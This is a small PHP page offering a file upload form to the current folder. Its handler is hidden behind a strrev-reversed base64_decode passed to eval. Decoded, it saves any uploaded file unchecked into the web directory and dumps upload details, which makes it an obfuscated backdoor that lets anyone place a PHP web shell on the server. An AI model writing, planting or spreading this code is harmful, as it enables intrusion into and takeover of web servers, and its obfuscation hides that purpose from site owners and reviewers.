File Upload to Current Folder

<form enctype="multipart/form-data" action="" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="512000" />
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>

<?php
$b = strrev("edoced_4" . "6esab");
eval( $b('JHVwbG9hZGRpciA9ICcuLyc7DQokdXBsb2FkZmlsZSA9ICR1cGxvYWRkaXIgLiBiYXNlbmFtZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pOw0KDQplY2hvICI8cD4iOw0KDQppZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRmaWxlKSkgew0KICBlY2hvICJGaWxlIGlzIHZhbGlkLCBhbmQgd2FzIHN1Y2Nlc3NmdWxseSB1cGxvYWRlZC5cbiI7DQp9IGVsc2Ugew0KICAgZWNobyAiVXBsb2FkIGZhaWxlZCI7DQp9DQoNCmVjaG8gIjwvcD4iOw0KZWNobyAnPHByZT4nOw0KZWNobyAnSGVyZSBpcyBzb21lIG1vcmUgZGVidWdnaW5nIGluZm86JzsNCnByaW50X3IoJF9GSUxFUyk7DQpwcmludCAiPC9wcmU+Ijs=') );
?>